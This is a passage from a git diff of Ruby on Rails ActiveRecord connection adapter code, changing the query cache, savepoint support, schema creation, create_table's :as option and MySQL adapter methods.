+            if conn.in_use? && stale > conn.last_use && !conn.active_threadsafe?
               remove conn
             end
           end
@@ -629,7 +624,7 @@ module ActiveRecord
         end
 
         response
-      rescue
+      rescue Exception
         ActiveRecord::Base.clear_active_connections! unless testing
         raise
       end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
index adc8c73..da25e64 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/database_statements.rb
@@ -18,17 +18,16 @@ module ActiveRecord
         end
       end
 
-      # Returns an array of record hashes with the column names as keys and
-      # column values as values.
+      # Returns an ActiveRecord::Result instance.
       def select_all(arel, name = nil, binds = [])
+        arel, binds = binds_from_relation arel, binds
         select(to_sql(arel, binds), name, binds)
       end
 
       # Returns a record hash with the column names as keys and column values
       # as values.
       def select_one(arel, name = nil, binds = [])
-        result = select_all(arel, name, binds)
-        result.first if result
+        select_all(arel, name, binds).first
       end
 
       # Returns a single value from a record
@@ -41,13 +40,13 @@ module ActiveRecord
       # Returns an array of the values of the first column in a select:
       #   select_values("SELECT id FROM companies LIMIT 3") => [1,2,3]
       def select_values(arel, name = nil)
-        result = select_rows(to_sql(arel, []), name)
-        result.map { |v| v[0] }
+        arel, binds = binds_from_relation arel, []
+        select_rows(to_sql(arel, binds), name, binds).map(&:first)
       end
 
       # Returns an array of arrays containing the field values.
       # Order is the same as that returned by +columns+.
-      def select_rows(sql, name = nil)
+      def select_rows(sql, name = nil, binds = [])
       end
       undef_method :select_rows
 
@@ -303,10 +302,6 @@ module ActiveRecord
         "DEFAULT VALUES"
       end
 
-      def case_sensitive_equality_operator
-        "="
-      end
-
       def limited_update_conditions(where_sql, quoted_table_name, quoted_primary_key)
         "WHERE #{quoted_primary_key} IN (SELECT #{quoted_primary_key} FROM #{quoted_table_name} #{where_sql})"
       end
@@ -323,7 +318,7 @@ module ActiveRecord
       def sanitize_limit(limit)
         if limit.is_a?(Integer) || limit.is_a?(Arel::Nodes::SqlLiteral)
           limit
-        elsif limit.to_s =~ /,/
+        elsif limit.to_s.include?(',')
           Arel.sql limit.to_s.split(',').map{ |i| Integer(i) }.join(',')
         else
           Integer(limit)
@@ -348,15 +343,14 @@ module ActiveRecord
 
       protected
 
-        # Return a subquery for the given key using the join information.
+        # Returns a subquery for the given key using the join information.
         def subquery_for(key, select)
           subselect = select.clone
           subselect.projections = [key]
           subselect
         end
 
-        # Returns an array of record hashes with the column names as keys and
-        # column values as values.
+        # Returns an ActiveRecord::Result instance.
         def select(sql, name = nil, binds = [])
         end
         undef_method :select
@@ -385,6 +379,13 @@ module ActiveRecord
           row = result.rows.first
           row && row.first
         end
+
+        def binds_from_relation(relation, binds)
+          if relation.is_a?(Relation) && binds.blank?
+            relation, binds = relation.arel, relation.bind_values
+          end
+          [relation, binds]
+        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
index 41e07fb..4a4506c 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/query_cache.rb
@@ -9,10 +9,10 @@ module ActiveRecord
         def dirties_query_cache(base, *method_names)
           method_names.each do |method_name|
             base.class_eval <<-end_code, __FILE__, __LINE__ + 1
-              def #{method_name}(*)                         # def update_with_query_dirty(*)
-                clear_query_cache if @query_cache_enabled   #   clear_query_cache if @query_cache_enabled
-                super                                       #   super
-              end                                           # end
+              def #{method_name}(*)
+                clear_query_cache if @query_cache_enabled
+                super
+              end
             end_code
           end
         end
@@ -20,13 +20,19 @@ module ActiveRecord
 
       attr_reader :query_cache, :query_cache_enabled
 
+      def initialize(*)
+        super
+        @query_cache         = Hash.new { |h,sql| h[sql] = {} }
+        @query_cache_enabled = false
+      end
+
       # Enable the query cache within the block.
       def cache
         old, @query_cache_enabled = @query_cache_enabled, true
         yield
       ensure
-        clear_query_cache
         @query_cache_enabled = old
+        clear_query_cache unless @query_cache_enabled
       end
 
       def enable_query_cache!
@@ -57,6 +63,7 @@ module ActiveRecord
 
       def select_all(arel, name = nil, binds = [])
         if @query_cache_enabled && !locked?(arel)
+          arel, binds = binds_from_relation arel, binds
           sql = to_sql(arel, binds)
           cache_sql(sql, binds) { super(sql, name, binds) }
         else
@@ -75,14 +82,7 @@ module ActiveRecord
           else
             @query_cache[sql][binds] = yield
           end
-
-        # FIXME: we should guarantee that all cached items are Result
-        # objects.  Then we can avoid this conditional
-        if ActiveRecord::Result === result
-          result.dup
-        else
-          result.collect { |row| row.dup }
-        end
+        result.dup
       end
 
       # If arel is locked this is a SELECT ... FOR UPDATE or somesuch. Such
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
index d18b9c9..7550185 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/quoting.rb
@@ -15,7 +15,6 @@ module ActiveRecord
           return "'#{quote_string(value)}'" unless column
 
           case column.type
-          when :binary then "'#{quote_string(column.string_to_binary(value))}'"
           when :integer then value.to_i.to_s
           when :float then value.to_f.to_s
           else
@@ -44,7 +43,9 @@ module ActiveRecord
       # SQLite does not understand dates, so this method will convert a Date
       # to a String.
       def type_cast(value, column)
-        return value.id if value.respond_to?(:quoted_id)
+        if value.respond_to?(:quoted_id) && value.respond_to?(:id)
+          return value.id
+        end
 
         case value
         when String, ActiveSupport::Multibyte::Chars
@@ -52,7 +53,6 @@ module ActiveRecord
           return value unless column
 
           case column.type
-          when :binary then value
           when :integer then value.to_i
           when :float then value.to_f
           else
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
new file mode 100644
index 0000000..25c17ce
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/savepoints.rb
@@ -0,0 +1,21 @@
+module ActiveRecord
+  module ConnectionAdapters
+    module Savepoints #:nodoc:
+      def supports_savepoints?
+        true
+      end
+
+      def create_savepoint(name = current_savepoint_name)
+        execute("SAVEPOINT #{name}")
+      end
+
+      def rollback_to_savepoint(name = current_savepoint_name)
+        execute("ROLLBACK TO SAVEPOINT #{name}")
+      end
+
+      def release_savepoint(name = current_savepoint_name)
+        execute("RELEASE SAVEPOINT #{name}")
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
new file mode 100644
index 0000000..b00e712
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_creation.rb
@@ -0,0 +1,90 @@
+module ActiveRecord
+  module ConnectionAdapters
+    class AbstractAdapter
+      class SchemaCreation # :nodoc:
+        def initialize(conn)
+          @conn = conn
+          @cache = {}
+        end
+
+        def accept(o)
+          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
+          send m, o
+        end
+
+        def visit_AddColumn(o)
+          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
+          sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
+          add_column_options!(sql, column_options(o))
+        end
+
+        private
+
+          def visit_AlterTable(o)
+            sql = "ALTER TABLE #{quote_table_name(o.name)} "
+            sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
+          end
+
+          def visit_ColumnDefinition(o)
+            sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
+            column_sql = "#{quote_column_name(o.name)} #{sql_type}"
+            add_column_options!(column_sql, column_options(o)) unless o.primary_key?
+            column_sql
+          end
+
+          def visit_TableDefinition(o)
+            create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
+            create_sql << "#{quote_table_name(o.name)} "
+            create_sql << "(#{o.columns.map { |c| accept c }.join(', ')}) " unless o.as
+            create_sql << "#{o.options}"
+            create_sql << " AS #{@conn.to_sql(o.as)}" if o.as
+            create_sql
+          end
+
+          def column_options(o)
+            column_options = {}
+            column_options[:null] = o.null unless o.null.nil?
+            column_options[:default] = o.default unless o.default.nil?
+            column_options[:column] = o
+            column_options[:first] = o.first
+            column_options[:after] = o.after
+            column_options
+          end
+
+          def quote_column_name(name)
+            @conn.quote_column_name name
+          end
+
+          def quote_table_name(name)
+            @conn.quote_table_name name
+          end
+
+          def type_to_sql(type, limit, precision, scale)
+            @conn.type_to_sql type.to_sym, limit, precision, scale
+          end
+
+          def add_column_options!(sql, options)
+            sql << " DEFAULT #{quote_value(options[:default], options[:column])}" if options_include_default?(options)
+            # must explicitly check for :null to allow change_column to work on migrations
+            if options[:null] == false
+              sql << " NOT NULL"
+            end
+            if options[:auto_increment] == true
+              sql << " AUTO_INCREMENT"
+            end
+            sql
+          end
+
+          def quote_value(value, column)
+            column.sql_type ||= type_to_sql(column.type, column.limit, column.precision, column.scale)
+
+            @conn.quote(value, column)
+          end
+
+          def options_include_default?(options)
+            options.include?(:default) && !(options[:null] == false && options[:default].nil?)
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
index c982d65..71c3a43 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_definitions.rb
@@ -15,16 +15,16 @@ module ActiveRecord
     # are typically created by methods in TableDefinition, and added to the
     # +columns+ attribute of said TableDefinition object, in order to be used
     # for generating a number of table creation or table changing SQL statements.
-    class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key) #:nodoc:
-      def string_to_binary(value)
-        value
-      end
+    class ColumnDefinition < Struct.new(:name, :type, :limit, :precision, :scale, :default, :null, :first, :after, :primary_key, :sql_type) #:nodoc:
 
       def primary_key?
         primary_key || type.to_sym == :primary_key
       end
     end
 
+    class ChangeColumnDefinition < Struct.new(:column, :type, :options) #:nodoc:
+    end
+
     # Represents the schema of an SQL table in an abstract way. This class
     # provides methods for manipulating the schema representation.
     #
@@ -49,14 +49,15 @@ module ActiveRecord
       # An array of ColumnDefinition objects, representing the column changes
       # that have been defined.
       attr_accessor :indexes
-      attr_reader :name, :temporary, :options
+      attr_reader :name, :temporary, :options, :as
 
-      def initialize(types, name, temporary, options)
+      def initialize(types, name, temporary, options, as = nil)
         @columns_hash = {}
         @indexes = {}
         @native = types
         @temporary = temporary
         @options = options
+        @as = as
         @name = name
       end
 
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
index aac0a52..7f530ec 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb
@@ -40,7 +40,7 @@ module ActiveRecord
       #   index_exists?(:suppliers, :company_id, unique: true)
       #
       #   # Check an index with a custom name exists
-      #   index_exists?(:suppliers, :company_id, name: "idx_company_id"
+      #   index_exists?(:suppliers, :company_id, name: "idx_company_id")
       #
       def index_exists?(table_name, column_name, options = {})
         column_names = Array(column_name)
@@ -120,9 +120,9 @@ module ActiveRecord
       #   The name of the primary key, if one is to be added automatically.
       #   Defaults to +id+. If <tt>:id</tt> is false this option is ignored.
       #
-      #   Also note that this just sets the primary key in the table. You additionally
-      #   need to configure the primary key in the model via +self.primary_key=+.
-      #   Models do NOT auto-detect the primary key from their table definition.
+      #   Note that Active Record models will automatically detect their
+      #   primary key. This can be avoided by using +self.primary_key=+ on the model
+      #   to define the key explicitly.
       #
       # [<tt>:options</tt>]
       #   Any extra options you want appended to the table definition.
@@ -131,6 +131,9 @@ module ActiveRecord
       # [<tt>:force</tt>]
       #   Set to true to drop the table before creating it.
       #   Defaults to false.
+      # [<tt>:as</tt>]
+      #   SQL to use to generate the table. When this option is used, the block is
+      #   ignored, as are the <tt>:id</tt> and <tt>:primary_key</tt> options.
       #
       # ====== Add a backend specific option to the generated SQL (MySQL)
       #
@@ -169,19 +172,31 @@ module ActiveRecord
       #     supplier_id int
       #   )
       #
+      # ====== Create a temporary table based on a query
+      #
+      #   create_table(:long_query, temporary: true,
+      #     as: "SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id")
+      #
+      # generates:
+      #
+      #   CREATE TEMPORARY TABLE long_query AS
+      #     SELECT * FROM orders INNER JOIN line_items ON order_id=orders.id
+      #
       # See also TableDefinition#column for details on how to create columns.
       def create_table(table_name, options = {})
-        td = create_table_definition table_name, options[:temporary], options[:options]
+        td = create_table_definition table_name, options[:temporary], options[:options], options[:as]
 
-        unless options[:id] == false
-          pk = options.fetch(:primary_key) {
-            Base.get_primary_key table_name.to_s.singularize
-          }
+        if !options[:as]
+          unless options[:id] == false
+            pk = options.fetch(:primary_key) {
+              Base.get_primary_key table_name.to_s.singularize
+            }
 
-          td.primary_key pk, options.fetch(:id, :primary_key), options
-        end
+            td.primary_key pk, options.fetch(:id, :primary_key), options
+          end
 
-        yield td if block_given?
+          yield td if block_given?
+        end
 
         if options[:force] && table_exists?(table_name)
           drop_table(table_name, options)
@@ -558,8 +573,8 @@ module ActiveRecord
         # this is a naive implementation; some DBs may support this more efficiently (Postgres, for instance)
         old_index_def = indexes(table_name).detect { |i| i.name == old_name }
         return unless old_index_def
-        remove_index(table_name, :name => old_name)
-        add_index(table_name, old_index_def.columns, :name => new_name, :unique => old_index_def.unique)
+        add_index(table_name, old_index_def.columns, name: new_name, unique: old_index_def.unique)
+        remove_index(table_name, name: old_name)
       end
 
       def index_name(table_name, options) #:nodoc:
@@ -606,7 +621,7 @@ module ActiveRecord
         index_options = options.delete(:index)
         add_column(table_name, "#{ref_name}_id", :integer, options)
         add_column(table_name, "#{ref_name}_type", :string, polymorphic.is_a?(Hash) ? polymorphic : options) if polymorphic
-        add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : nil) if index_options
+        add_index(table_name, polymorphic ? %w[id type].map{ |t| "#{ref_name}_#{t}" } : "#{ref_name}_id", index_options.is_a?(Hash) ? index_options : {}) if index_options
       end
       alias :add_belongs_to :add_reference
 
@@ -690,28 +705,8 @@ module ActiveRecord
 
           column_type_sql
         else
-          type
-        end
-      end
-
-      def add_column_options!(sql, options) #:nodoc:
-        sql << " DEFAULT #{quote(options[:default], options[:column])}" if options_include_default?(options)
-        # must explicitly check for :null to allow change_column to work on migrations
-        if options[:null] == false
-          sql << " NOT NULL"
+          type.to_s
         end
-        if options[:auto_increment] == true
-          sql << " AUTO_INCREMENT"
-        end
-      end
-
-      # SELECT DISTINCT clause for a given set of columns and a given ORDER BY clause.
-      #
-      #   distinct("posts.id", ["posts.created_at desc"])
-      #
-      def distinct(columns, order_by)
-        ActiveSupport::Deprecation.warn("#distinct is deprecated and shall be removed from future releases.")
-        "DISTINCT #{columns_for_distinct(columns, order_by)}"
       end
 
       # Given a set of columns and an ORDER BY clause, returns the columns for a SELECT DISTINCT.
@@ -719,7 +714,7 @@ module ActiveRecord
       # require the order columns appear in the SELECT.
       #
       #   columns_for_distinct("posts.id", ["posts.created_at desc"])
-      def columns_for_distinct(columns, orders) # :nodoc:
+      def columns_for_distinct(columns, orders) #:nodoc:
         columns
       end
 
@@ -741,6 +736,10 @@ module ActiveRecord
         remove_column table_name, :created_at
       end
 
+      def update_table_definition(table_name, base) #:nodoc:
+        Table.new(table_name, base)
+      end
+
       protected
         def add_index_sort_order(option_strings, column_names, options = {})
           if options.is_a?(Hash) && order = options[:order]
@@ -775,37 +774,23 @@ module ActiveRecord
           column_names = Array(column_name)
           index_name   = index_name(table_name, column: column_names)
 
-          if Hash === options # legacy support, since this param was a string
-            options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
+          options.assert_valid_keys(:unique, :order, :name, :where, :length, :internal, :using, :algorithm, :type)
 
-            index_type = options[:unique] ? "UNIQUE" : ""
-            index_type = options[:type].to_s if options.key?(:type)
-            index_name = options[:name].to_s if options.key?(:name)
-            max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
+          index_type = options[:unique] ? "UNIQUE" : ""
+          index_type = options[:type].to_s if options.key?(:type)
+          index_name = options[:name].to_s if options.key?(:name)
+          max_index_length = options.fetch(:internal, false) ? index_name_length : allowed_index_name_length
 
-            if options.key?(:algorithm)
-              algorithm = index_algorithms.fetch(options[:algorithm]) {
-                raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
-              }
-            end
-
-            using = "USING #{options[:using]}" if options[:using].present?
-
-            if supports_partial_index?
-              index_options = options[:where] ? " WHERE #{options[:where]}" : ""
-            end
-          else
-            if options
-              message = "Passing a string as third argument of `add_index` is deprecated and will" +
-                " be removed in Rails 4.1." +
-                " Use add_index(#{table_name.inspect}, #{column_name.inspect}, unique: true) instead"
+          if options.key?(:algorithm)
+            algorithm = index_algorithms.fetch(options[:algorithm]) {
+              raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+            }
+          end
 
-              ActiveSupport::Deprecation.warn message
-            end
+          using = "USING #{options[:using]}" if options[:using].present?
 
-            index_type = options
-            max_index_length = allowed_index_name_length
-            algorithm = using = nil
+          if supports_partial_index?
+            index_options = options[:where] ? " WHERE #{options[:where]}" : ""
           end
 
           if index_name.length > max_index_length
@@ -837,12 +822,6 @@ module ActiveRecord
           index_name
         end
 
-        def columns_for_remove(table_name, *column_names)
-          ActiveSupport::Deprecation.warn("columns_for_remove is deprecated and will be removed in the future")
-          raise ArgumentError.new("You must specify at least one column name. Example: remove_columns(:people, :first_name)") if column_names.blank?
-          column_names.map {|column_name| quote_column_name(column_name) }
-        end
-
         def rename_table_indexes(table_name, new_name)
           indexes(new_name).each do |index|
             generated_index_name = index_name(table_name, column: index.columns)
@@ -866,17 +845,13 @@ module ActiveRecord
         end
 
       private
-      def create_table_definition(name, temporary, options)
-        TableDefinition.new native_database_types, name, temporary, options
+      def create_table_definition(name, temporary, options, as = nil)
+        TableDefinition.new native_database_types, name, temporary, options, as
       end
 
       def create_alter_table(name)
         AlterTable.new create_table_definition(name, false, {})
       end
-
-      def update_table_definition(table_name, base)
-        Table.new(table_name, base)
-      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
index 2b66854..bc4884b 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract/transaction.rb
@@ -23,6 +23,10 @@ module ActiveRecord
         @parent = nil
       end
 
+      def finalized?
+        @state
+      end
+
       def committed?
         @state == :committed
       end
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
index cfbb05c..11b28a4 100644
--- a/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_adapter.rb
@@ -4,6 +4,7 @@ require 'bigdecimal/util'
 require 'active_support/core_ext/benchmark'
 require 'active_record/connection_adapters/schema_cache'
 require 'active_record/connection_adapters/abstract/schema_dumper'
+require 'active_record/connection_adapters/abstract/schema_creation'
 require 'monitor'
 
 module ActiveRecord
@@ -16,6 +17,7 @@ module ActiveRecord
     autoload_at 'active_record/connection_adapters/abstract/schema_definitions' do
       autoload :IndexDefinition
       autoload :ColumnDefinition
+      autoload :ChangeColumnDefinition
       autoload :TableDefinition
       autoload :Table
       autoload :AlterTable
@@ -33,12 +35,14 @@ module ActiveRecord
       autoload :Quoting
       autoload :ConnectionPool
       autoload :QueryCache
+      autoload :Savepoints
     end
 
     autoload_at 'active_record/connection_adapters/abstract/transaction' do
       autoload :ClosedTransaction
       autoload :RealTransaction
       autoload :SavepointTransaction
+      autoload :TransactionState
     end
 
     # Active Record supports multiple database systems. AbstractAdapter and
@@ -95,8 +99,6 @@ module ActiveRecord
         @last_use            = false
         @logger              = logger
         @pool                = pool
-        @query_cache         = Hash.new { |h,sql| h[sql] = {} }
-        @query_cache_enabled = false
         @schema_cache        = SchemaCache.new self
         @visitor             = nil
         @prepared_statements = false
@@ -106,71 +108,6 @@ module ActiveRecord
         true
       end
 
-      class SchemaCreation
-        def initialize(conn)
-          @conn  = conn
-          @cache = {}
-        end
-
-        def accept(o)
-          m = @cache[o.class] ||= "visit_#{o.class.name.split('::').last}"
-          send m, o
-        end
-
-        private
-
-        def visit_AlterTable(o)
-          sql = "ALTER TABLE #{quote_table_name(o.name)} "
-          sql << o.adds.map { |col| visit_AddColumn col }.join(' ')
-        end
-
-        def visit_AddColumn(o)
-          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
-          sql = "ADD #{quote_column_name(o.name)} #{sql_type}"
-          add_column_options!(sql, column_options(o))
-        end
-
-        def visit_ColumnDefinition(o)
-          sql_type = type_to_sql(o.type.to_sym, o.limit, o.precision, o.scale)
-          column_sql = "#{quote_column_name(o.name)} #{sql_type}"
-          add_column_options!(column_sql, column_options(o)) unless o.primary_key?
-          column_sql
-        end
-
-        def visit_TableDefinition(o)
-          create_sql = "CREATE#{' TEMPORARY' if o.temporary} TABLE "
-          create_sql << "#{quote_table_name(o.name)} ("
-          create_sql << o.columns.map { |c| accept c }.join(', ')
-          create_sql << ") #{o.options}"
-          create_sql
-        end
-
-        def column_options(o)
-          column_options = {}
-          column_options[:null] = o.null unless o.null.nil?
-          column_options[:default] = o.default unless o.default.nil?
-          column_options[:column] = o
-          column_options
-        end
-
-        def quote_column_name(name)
-          @conn.quote_column_name name
-        end
-
-        def quote_table_name(name)
-          @conn.quote_table_name name
-        end
-
-        def type_to_sql(type, limit, precision, scale)
-          @conn.type_to_sql type.to_sym, limit, precision, scale
-        end
-
-        def add_column_options!(column_sql, column_options)
-          @conn.add_column_options! column_sql, column_options
-          column_sql
-        end
-      end
-
       def schema_creation
         SchemaCreation.new self
       end
@@ -304,8 +241,8 @@ module ActiveRecord
 
       # QUOTING ==================================================
 
-      # Returns a bind substitution value given a +column+ and list of current
-      # +binds+.
+      # Returns a bind substitution value given a bind +index+ and +column+
+      # NOTE: The column param is currently being used by the sqlserver-adapter
       def substitute_at(column, index)
         Arel::Nodes::BindParam.new '?'
       end
@@ -325,6 +262,12 @@ module ActiveRecord
       def active?
       end
 
+      # Adapter should redefine this if it needs a threadsafe way to approximate
+      # if the connection is active
+      def active_threadsafe?
+        active?
+      end
+
       # Disconnects from the database if already connected, and establishes a
       # new connection with the database. Implementors should call super if they
       # override the default implementation.
@@ -384,27 +327,13 @@ module ActiveRecord
         @transaction.number
       end
 
-      def increment_open_transactions
-        ActiveSupport::Deprecation.warn "#increment_open_transactions is deprecated and has no effect"
-      end
-
-      def decrement_open_transactions
-        ActiveSupport::Deprecation.warn "#decrement_open_transactions is deprecated and has no effect"
-      end
-
-      def transaction_joinable=(joinable)
-        message = "#transaction_joinable= is deprecated. Please pass the :joinable option to #begin_transaction instead."
-        ActiveSupport::Deprecation.warn message
-        @transaction.joinable = joinable
+      def create_savepoint(name = nil)
       end
 
-      def create_savepoint
+      def rollback_to_savepoint(name = nil)
       end
 
-      def rollback_to_savepoint
-      end
-
-      def release_savepoint
+      def release_savepoint(name = nil)
       end
 
       def case_sensitive_modifier(node)
@@ -426,19 +355,24 @@ module ActiveRecord
 
       protected
 
-      def log(sql, name = "SQL", binds = [])
-        @instrumenter.instrument(
-          "sql.active_record",
-          :sql           => sql,
-          :name          => name,
-          :connection_id => object_id,
-          :binds         => binds) { yield }
-      rescue => e
+      def translate_exception_class(e, sql)
         message = "#{e.class.name}: #{e.message}: #{sql}"
         @logger.error message if @logger
         exception = translate_exception(e, message)
         exception.set_backtrace e.backtrace
-        raise exception
+        exception
+      end
+
+      def log(sql, name = "SQL", binds = [], statement_name = nil)
+        @instrumenter.instrument(
+          "sql.active_record",
+          :sql            => sql,
+          :name           => name,
+          :connection_id  => object_id,
+          :statement_name => statement_name,
+          :binds          => binds) { yield }
+      rescue => e
+        raise translate_exception_class(e, sql)
       end
 
       def translate_exception(exception, message)
diff --git a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
old mode 100755
new mode 100644
index ad54bd7..a3c3a0a
--- a/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
+++ b/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb
@@ -3,18 +3,29 @@ require 'arel/visitors/bind_visitor'
 module ActiveRecord
   module ConnectionAdapters
     class AbstractMysqlAdapter < AbstractAdapter
+      include Savepoints
+
       class SchemaCreation < AbstractAdapter::SchemaCreation
-        private
 
         def visit_AddColumn(o)
-          add_column_position!(super, o)
+          add_column_position!(super, column_options(o))
+        end
+
+        private
+        def visit_ChangeColumnDefinition(o)
+          column = o.column
+          options = o.options
+          sql_type = type_to_sql(o.type, options[:limit], options[:precision], options[:scale])
+          change_column_sql = "CHANGE #{quote_column_name(column.name)} #{quote_column_name(options[:name])} #{sql_type}"
+          add_column_options!(change_column_sql, options.merge(column: column))
+          add_column_position!(change_column_sql, options)
         end
 
-        def add_column_position!(sql, column)
-          if column.first
+        def add_column_position!(sql, options)
+          if options[:first]
             sql << " FIRST"
-          elsif column.after
-            sql << " AFTER #{quote_column_name(column.after)}"
+          elsif options[:after]
+            sql << " AFTER #{quote_column_name(options[:after])}"
           end
           sql
         end
@@ -100,6 +111,8 @@ module ActiveRecord
           when /^mediumint/i; 3
           when /^smallint/i;  2
           when /^tinyint/i;   1
+          when /^float/i;     24
+          when /^double/i;    53
           else
             super
           end
@@ -137,7 +150,7 @@ module ActiveRecord
       QUOTED_TRUE, QUOTED_FALSE = '1', '0'
 
       NATIVE_DATABASE_TYPES = {
-        :primary_key => "int(11) DEFAULT NULL auto_increment PRIMARY KEY",
+        :primary_key => "int(11) auto_increment PRIMARY KEY",
         :string      => { :name => "varchar", :limit => 255 },
         :text        => { :name => "text" },
         :integer     => { :name => "int", :limit => 4 },
@@ -185,11 +198,6 @@ module ActiveRecord
         true
       end
 
-      # Returns true, since this connection adapter supports savepoints.
-      def supports_savepoints?
-        true
-      end
-
       def supports_bulk_alter? #:nodoc:
         true
       end
@@ -200,6 +208,17 @@ module ActiveRecord
         true
       end
 
+      def type_cast(value, column)
+        case value
+        when TrueClass
+          1
+        when FalseClass
+          0
+        else
+          super
+        end
+      end
+
       # MySQL 4 technically support transaction isolation, but it is affected by a bug
       # where the transaction level gets persisted for the whole session:
       #
@@ -238,8 +257,8 @@ module ActiveRecord
       # QUOTING ==================================================
 
       def quote(value, column = nil)
-        if value.kind_of?(String) && column && column.type == :binary && column.class.respond_to?(:string_to_binary)
-          s = column.class.string_to_binary(value).unpack("H*")[0]
+        if value.kind_of?(String) && column && column.type == :binary
+          s = value.unpack("H*")[0]
           "x'#{s}'"
         elsif value.kind_of?(BigDecimal)
           value.to_s("F")
@@ -266,7 +285,7 @@ module ActiveRecord
 
       # REFERENTIAL INTEGRITY ====================================
 
-      def disable_referential_integrity(&block) #:nodoc:
+      def disable_referential_integrity #:nodoc:
         old = select_value("SELECT @@FOREIGN_KEY_CHECKS")
 
         begin
@@ -281,17 +300,7 @@ module ActiveRecord
 
       # Executes the SQL statement in the context of this connection.
       def execute(sql, name = nil)
-        if name == :skip_logging
-          @connection.query(sql)
-        else
-          log(sql, name) { @connection.query(sql) }
-        end
-      rescue ActiveRecord::StatementInvalid => exception
-        if exception.message.split(":").first =~ /Packets out of order/
-          raise ActiveRecord::StatementInvalid.new("'Packets out of order' error was received from the database. Please update your mysql bindings (gem install mysql) and read http://dev.mysql.com/doc/mysql/en/password-hashing.html for more information. If you're on Windows, use the Instant Rails installer to get the updated mysql bindings.", exception.original_exception)
-        else
-          raise
-        end
+        log(sql, name) { @connection.query(sql) }
       end
 
       # MysqlAdapter has to free a result after using it, so we use this method to write
@@ -308,39 +317,19 @@ module ActiveRecord
 
       def begin_db_transaction
         execute "BEGIN"
-      rescue
-        # Transactions aren't supported
       end
 
       def begin_isolated_db_transaction(isolation)
         execute "SET TRANSACTION ISOLATION LEVEL #{transaction_isolation_levels.fetch(isolation)}"
         begin_db_transaction
-      rescue
-        # Transactions aren't supported
       end
 
       def commit_db_transaction #:nodoc:
         execute "COMMIT"
-      rescue
-        # Transactions aren't supported
       end
 
       def rollback_db_transaction #:nodoc:
         execute "ROLLBACK"
-      rescue
-        # Transactions aren't supported
-      end
-
-      def create_savepoint
-        execute("SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def rollback_to_savepoint
-        execute("ROLLBACK TO SAVEPOINT #{current_savepoint_name}")
-      end
-
-      def release_savepoint
-        execute("RELEASE SAVEPOINT #{current_savepoint_name}")
       end
 
       # In the simple case, MySQL allows us to place JOINs directly into the UPDATE
@@ -495,6 +484,18 @@ module ActiveRecord
         rename_table_indexes(table_name, new_name)
       end
 
+      def drop_table(table_name, options = {})
+        execute "DROP#{' TEMPORARY' if options[:temporary]} TABLE #{quote_table_name(table_name)}"
+      end
+
+      def rename_index(table_name, old_name, new_name)
+        if (version[0] == 5 && version[1] >= 7) || version[0] >= 6
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME INDEX #{quote_table_name(old_name)} TO #{quote_table_name(new_name)}"
+        else
+          super
+        end
+      end
+
       def change_column_default(table_name, column_name, default)
         column = column_for(table_name, column_name)
